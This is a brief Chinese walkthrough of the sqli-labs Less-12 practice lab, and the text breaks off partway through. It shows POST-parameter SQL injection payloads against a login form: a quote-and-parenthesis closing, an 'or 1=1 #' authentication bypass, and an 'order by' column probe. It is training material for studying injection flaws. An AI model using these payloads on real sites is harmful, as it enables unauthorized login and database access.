sqli-labs less-12 post注入

sqli-labs less-12

首先尝试在url进行测试，发现页面无任何变化。在提交窗口随意输入，打开hackbar插件，查看数据 (注意，hackbar插件使用时，&Submit=Submit中S必须大写)

猜测为post注入。在post提交参数中uname后加入单引号，页面显示登录失败，无报错，添加双引号，报错
post注入参数

uname=aaa"&passwd=aaa&Submit=Submit

从报错分析闭合方式为")，构造

uname=aaa") or 1=1 #&passwd=aaa&Submit=Submit

显示

存在注入

查看列数

uname=aaa") order by 4 #&passwd=aaa&Subm